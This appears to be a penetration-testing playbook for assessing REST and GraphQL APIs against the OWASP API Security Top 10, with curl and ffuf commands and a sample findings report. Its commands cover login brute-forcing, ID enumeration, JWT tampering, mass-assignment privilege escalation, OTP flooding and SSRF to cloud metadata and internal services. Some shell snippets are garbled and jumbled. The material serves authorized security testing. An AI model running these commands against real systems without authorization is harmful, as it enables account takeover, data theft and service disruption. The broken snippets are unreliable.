Systematically assesses REST, GraphQL, and gRPC API endpoints against the OWASP API Security Top 10 (2023) using Burp Suite and Postman for automated and manual testing. Use during authorized API penetration tests, before deploying new endpoints to production, or when validating API gateway controls and rate limiting.
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Systematically assesses REST, GraphQL, and gRPC API endpoints against the OWASP API Security Top 10 (2023) using Burp Suite and Postman for automated and manual testing. Use during authorized API penetration tests, before deploying new endpoints to production, or when validating API gateway controls and rate limiting.
During authorized API penetration testing engagements
When assessing REST, GraphQL, or gRPC APIs for security vulnerabilities
Before deploying new API endpoints to production environments
When reviewing API security posture against the OWASP API Security Top 10 (2023)
For validating API gateway security controls and rate limiting effectiveness
Prerequisites
Authorization: Written scope document covering all API endpoints to be tested
Burp Suite Professional: For intercepting and modifying API requests
Postman: For organizing and executing API test collections
ffuf: For API endpoint and parameter fuzzing
curl/httpie: Command-line HTTP clients for manual testing
API documentation: Swagger/OpenAPI spec, GraphQL schema, or API docs
jq: JSON processor for parsing API responses (apt install jq)
Workflow
Step 1: Discover and Map API Endpoints
Enumerate all available API endpoints and understand the API surface.
# If OpenAPI/Swagger spec is available, download it
curl -s "https://api.target.example.com/swagger.json" | jq '.paths | keys[]'
curl -s "https://api.target.example.com/v2/api-docs" | jq '.paths | keys[]'
curl -s "https://api.target.example.com/openapi.yaml"# Fuzz for API endpoints
ffuf -u "https://api.target.example.com/api/v1/FUZZ" \
-w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
-mc 200,201,204,301,401,403,405 \
-fc 404 \
-H "Content-Type: application/json" \
-o api-enum.json -of json
# Fuzz for API versionsfor v in v1 v2 v3 v4 beta internal admin; do
status=$(curl -s -o /dev/null -w "%{http_code}" \
"https://api.target.example.com/api/$v/users")
echo
path graphql graphiql playground query gql;
status=$(curl -s -o /dev/null -w \
-X POST -H \
-d \
)
"$v: $status"
done
# Check for GraphQL endpoint
for
in
do
"%{http_code}"
"Content-Type: application/json"
'{"query":"{__typename}"}'
"https://api.target.example.com/$path"
echo
"$path: $status"
done
Step 2: Test API1 - Broken Object Level Authorization (BOLA)
Test whether users can access objects belonging to other users by manipulating IDs.
# Authenticate as User A and get their resources
TOKEN_A="Bearer eyJhbGciOiJIUzI1NiIs..."
curl -s -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/users/101/orders" | jq .
# Try accessing User B's resources with User A's token
curl -s -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/users/102/orders" | jq .
# Fuzz object IDs with Burp Intruder or ffuf
ffuf -u "https://api.target.example.com/api/v1/orders/FUZZ" \
-w <(seq 1 1000) \
-H "Authorization: $TOKEN_A" \
-mc 200 -t 10 -rate 50
# Test IDOR with different ID formats# Numeric: /users/102# UUID: /users/550e8400-e29b-41d4-a716-446655440000# Encoded: /users/MTAy (base64)
Step 3: Test API2 - Broken Authentication
Assess authentication mechanisms for weaknesses.
# Test for missing authentication
curl -s "https://api.target.example.com/api/v1/users" | jq .
# Test JWT token vulnerabilities# Decode JWT without verificationecho"eyJhbGciOiJIUzI1NiIs..." | cut -d. -f2 | base64 -d 2>/dev/null | jq .
# Test "alg: none" attack# Header: {"alg":"none","typ":"JWT"}# Create unsigned token with modified claims# Test brute-force protection on login
ffuf -u "https://api.target.example.com/api/v1/auth/login" \
-X POST -H "Content-Type: application/json" \
-d '{"email":"admin@target.com","password":"FUZZ"}' \
-w /usr/share/seclists/Passwords/Common-Credentials/top-1000.txt \
-mc 200 -t 5 -rate 10
# Test password reset flow
curl -s -X POST "https://api.target.example.com/api/v1/auth/reset" \
-H "Content-Type: application/json" \
-d '{"email":"victim@target.com"}'# Check if token is in response body instead of email only
Step 4: Test API3 - Broken Object Property Level Authorization
Test for excessive data exposure and mass assignment vulnerabilities.
# Check for excessive data in responses
curl -s -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/users/101" | jq .
# Look for: password hashes, SSNs, internal IDs, admin flags, PII# Test mass assignment - try adding admin properties
curl -s -X PUT \
-H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"name":"Test User","role":"admin","is_admin":true}' \
"https://api.target.example.com/api/v1/users/101" | jq .
# Test with PATCH method
curl -s -X PATCH \
-H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"role":"admin","balance":999999}' \
"https://api.target.example.com/api/v1/users/101" | jq .
# Check if filtering parameters expose more data
curl -s -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/users/101?fields=all" | jq .
curl -s -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/users/101?include=password,ssn" | jq .
Step 5: Test API4/API6 - Rate Limiting and Unrestricted Access to Sensitive Flows
Verify rate limiting and resource consumption controls.
# Test rate limiting on authentication endpointfor i in $(seq 1 100); do
status=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST -H "Content-Type: application/json" \
-d '{"email":"test@test.com","password":"wrong"}' \
"https://api.target.example.com/api/v1/auth/login")
echo"Attempt $i: $status"if [ "$status" == "429" ]; thenecho"Rate limited at attempt $i"breakfidone# Test for unrestricted resource consumption# Large pagination
curl -s -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/users?limit=100000&offset=0" | jq '. | length'# GraphQL depth/complexity attack
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: $TOKEN_A" \
-d '{"query":"{ users { friends { friends { friends { friends { name } } } } } }"}' \
"https://api.target.example.com/graphql"# Test SMS/email flooding via OTP endpointfor i in $(seq 1 20); do
curl -s -X POST -H "Content-Type: application/json" \
-d '{"phone":"+1234567890"}' \
"https://api.target.example.com/api/v1/auth/send-otp"done
Step 6: Test API5 - Broken Function Level Authorization
Check for privilege escalation through administrative endpoints.
# Test admin endpoints with regular user token
ADMIN_ENDPOINTS=(
"/api/v1/admin/users""/api/v1/admin/settings""/api/v1/admin/logs""/api/v1/internal/config""/api/v1/users?role=admin""/api/v1/admin/export"
)
for endpoint in"${ADMIN_ENDPOINTS[@]}"; dofor method in GET POST PUT DELETE; do
status=$(curl -s -o /dev/null -w "%{http_code}" \
-X "$method" \
-H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
"https://api.target.example.com$endpoint")
if [ "$status" != "403" ] && [ "$status" != "401" ] && [ "$status" != "404" ]; thenecho"POTENTIAL ISSUE: $method$endpoint returned $status"fidonedone# Test HTTP method switching# If GET /admin/users returns 403, try:
curl -s -X POST -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/admin/users"
Step 7: Test API7-API10 - SSRF, Misconfiguration, Inventory, and Unsafe Consumption
# API7: Server-Side Request Forgery
curl -s -X POST -H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/latest/meta-data/"}' \
"https://api.target.example.com/api/v1/fetch-url"
curl -s -X POST -H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"webhook_url":"http://127.0.0.1:6379/"}' \
"https://api.target.example.com/api/v1/webhooks"# API8: Security Misconfiguration# Check CORS policy
curl -s -I -H "Origin: https://evil.example.com" \
"https://api.target.example.com/api/v1/users" | grep -i "access-control"# Check for verbose error messages
curl -s -X POST -H "Content-Type: application/json" \
-d '{"invalid": "data' \
"https://api.target.example.com/api/v1/users"# Check security headers
curl -s -I "https://api.target.example.com/api/v1/health" | grep -iE \
"(x-frame|x-content|strict-transport|content-security|x-xss)"# API9: Improper Inventory Management# Test deprecated API versionsfor v in v0 v1 v2 v3; do
curl -s -o /dev/null -w "$v: %{http_code}\n" \
"https://api.target.example.com/api/$v/users"done# API10: Unsafe Consumption of APIs# Test if the API blindly trusts third-party data# Check webhook/callback implementations for injection
Key Concepts
Concept
Description
BOLA (API1)
Broken Object Level Authorization - accessing objects belonging to other users
Broken Authentication (API2)
Weak authentication mechanisms allowing credential stuffing or token manipulation
BOPLA (API3)
Broken Object Property Level Authorization - excessive data exposure or mass assignment
Unrestricted Resource Consumption (API4)
Missing rate limiting enabling DoS or brute-force attacks
Broken Function Level Auth (API5)
Regular users accessing admin-level API functions
SSRF (API7)
Server-Side Request Forgery through API parameters accepting URLs
Security Misconfiguration (API8)
Missing security headers, verbose errors, permissive CORS
Improper Inventory (API9)
Undocumented, deprecated, or shadow API endpoints left exposed
Tools & Systems
Tool
Purpose
Burp Suite Professional
API interception, scanning, and manual testing
Postman
API collection management and automated test execution
ffuf
API endpoint and parameter fuzzing
Kiterunner
API endpoint discovery using common API path patterns
jwt_tool
JWT token analysis, manipulation, and attack automation
GraphQL Voyager
GraphQL schema visualization and introspection analysis
Arjun
HTTP parameter discovery for API endpoints
Common Scenarios
Scenario 1: BOLA in E-commerce API
User A can access User B's order details by changing the order ID in /api/v1/orders/{id}. The API only checks authentication but not authorization on the object level.
Scenario 2: Mass Assignment on User Profile
The user update endpoint accepts a role field in the JSON body. By adding "role":"admin" to a profile update request, a regular user escalates to administrator privileges.
Scenario 3: Deprecated API Version Bypass
The /api/v2/users endpoint has proper rate limiting, but /api/v1/users (still active) has no rate limiting. Attackers use the old version to brute-force credentials.
Scenario 4: GraphQL Introspection Data Leak
GraphQL introspection is enabled in production, exposing the entire schema including internal queries, mutations, and sensitive field names that are not used in the frontend.
Output Format
## API Security Assessment Report
**Target**: api.target.example.com
**API Type**: REST (OpenAPI 3.0)
**Assessment Date**: 2024-01-15
**OWASP API Security Top 10 (2023) Coverage**
| Risk | Status | Severity | Details |
|------|--------|----------|---------|
| API1: BOLA | VULNERABLE | Critical | /api/v1/orders/{id} - IDOR confirmed |
| API2: Broken Auth | VULNERABLE | High | No rate limit on /auth/login |
| API3: BOPLA | VULNERABLE | High | User role modifiable via mass assignment |
| API4: Resource Consumption | VULNERABLE | Medium | No pagination limit enforced |
| API5: Function Level Auth | PASS | - | Admin endpoints properly restricted |
| API6: Unrestricted Sensitive Flows | VULNERABLE | Medium | OTP endpoint lacks rate limiting |
| API7: SSRF | PASS | - | URL parameters properly validated |
| API8: Misconfiguration | VULNERABLE | Medium | Verbose stack traces in error responses |
| API9: Improper Inventory | VULNERABLE | Low | API v1 still accessible without docs |
| API10: Unsafe Consumption | NOT TESTED | - | No third-party API integrations found |
### Critical Finding: BOLA on Orders API
Authenticated users can access any order by iterating order IDs.
Tested range: 1-1000, 847 valid orders accessible.
PII exposure: names, addresses, payment details.
